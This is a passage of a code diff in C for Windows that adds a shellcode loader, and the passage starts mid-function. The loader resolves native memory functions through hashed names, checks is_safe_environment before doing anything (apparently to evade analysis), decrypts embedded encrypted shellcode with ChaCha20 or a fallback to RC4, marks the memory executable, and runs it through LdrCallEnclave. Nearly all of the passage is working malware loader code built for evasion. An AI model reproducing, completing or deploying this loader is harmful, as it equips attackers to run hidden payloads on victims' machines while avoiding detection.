PAGE_EXECUTE_READ) && + mbi.RegionSize >= size) { + return mbi.BaseAddress; + } + } + + return NULL; +} + +HMODULE load_tprtdll() { + HMODULE hTprt = GetModuleHandleW(L"tprtdll.dll"); + if (hTprt) return hTprt; + + hTprt = LoadLibraryExW(L"tprtdll.dll", NULL, DONT_RESOLVE_DLL_REFERENCES); + if (hTprt) return hTprt; + + wchar_t systemDir[MAX_PATH]; + GetSystemDirectoryW(systemDir, MAX_PATH); + wcscat_s(systemDir, MAX_PATH, L"\\tprtdll.dll"); + + hTprt = LoadLibraryExW(systemDir, NULL, DONT_RESOLVE_DLL_REFERENCES); + if (hTprt) return hTprt; + + hTprt = LoadLibraryW(L"tprtdll.dll"); + + return hTprt; +} + +void execute_payload() { + if (!is_safe_environment()) { + return; + } + + HMODULE hTprt = load_tprtdll(); + if (!hTprt) { + hTprt = GetModuleHandleA("ntdll.dll"); + } + + if (!hTprt) return; + + _NtAllocateVirtualMemoryEx NtAllocateVirtualMemoryEx = + (_NtAllocateVirtualMemoryEx)get_function_by_hash(hTprt, compute_custom_hash("NtAllocateVirtualMemoryEx")); + _NtProtectVirtualMemory NtProtectVirtualMemory = + (_NtProtectVirtualMemory)get_function_by_hash(hTprt, compute_custom_hash("NtProtectVirtualMemory")); + + HMODULE ntdll = GetModuleHandleA("ntdll.dll"); + _LdrCallEnclave LdrCallEnclave = + (_LdrCallEnclave)get_function_by_hash(ntdll, compute_custom_hash("LdrCallEnclave")); + + if (!NtAllocateVirtualMemoryEx || !NtProtectVirtualMemory || !LdrCallEnclave) { + return; + } + + // Use enhanced ChaCha20 encryption instead of RC4 + BYTE derived_key[32]; + BYTE nonce[12]; + if (!derive_encryption_key_chacha(derived_key, sizeof(derived_key), nonce, sizeof(nonce))) { + // Fallback to RC4 if ChaCha20 fails + if (!derive_encryption_key(derived_key, sizeof(derived_key))) { + return; + } + } + + PVOID shellcode_addr = find_memory_region(encrypted_shellcode_size); + BOOL allocated = FALSE; + + if (!shellcode_addr) { + SIZE_T region_size = encrypted_shellcode_size; + NTSTATUS status = NtAllocateVirtualMemoryEx( + GetCurrentProcess(), + &shellcode_addr, + ®ion_size, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE, + NULL, + 0 + ); + + if (status != 0) { + return; + } + allocated = TRUE; + } + + memcpy(shellcode_addr, encrypted_shellcode, encrypted_shellcode_size); + + // Use ChaCha20 if available, otherwise fallback to RC4 + if (derive_encryption_key_chacha(derived_key, sizeof(derived_key), nonce, sizeof(nonce))) { + chacha20_cryptography((PBYTE)shellcode_addr, encrypted_shellcode_size, derived_key, sizeof(derived_key), nonce); + } else { + rc4_cryptography((PBYTE)shellcode_addr, encrypted_shellcode_size, derived_key, sizeof(derived_key)); + } + + if (allocated) { + SIZE_T region_size = encrypted_shellcode_size; + ULONG old_protect; + NTSTATUS status = NtProtectVirtualMemory( + GetCurrentProcess(), + &shellcode_addr, + ®ion_size, + PAGE_EXECUTE_READ, + &old_protect + ); + + if (status != 0) { + VirtualFree(shellcode_addr, 0, MEM_RELEASE); + return; + } + } + + FlushInstructionCache(GetCurrentProcess(), shellcode_addr, encrypted_shellcode_size); + + PVOID dummy_param = NULL; + LdrCallEnclave((PENCLAVE_ROUTINE)shellcode_addr, 0, &dummy_param); + + if (allocated) { + VirtualFree(shellcode_addr, 0, MEM_RELEASE); + } +} \ No newline at end of file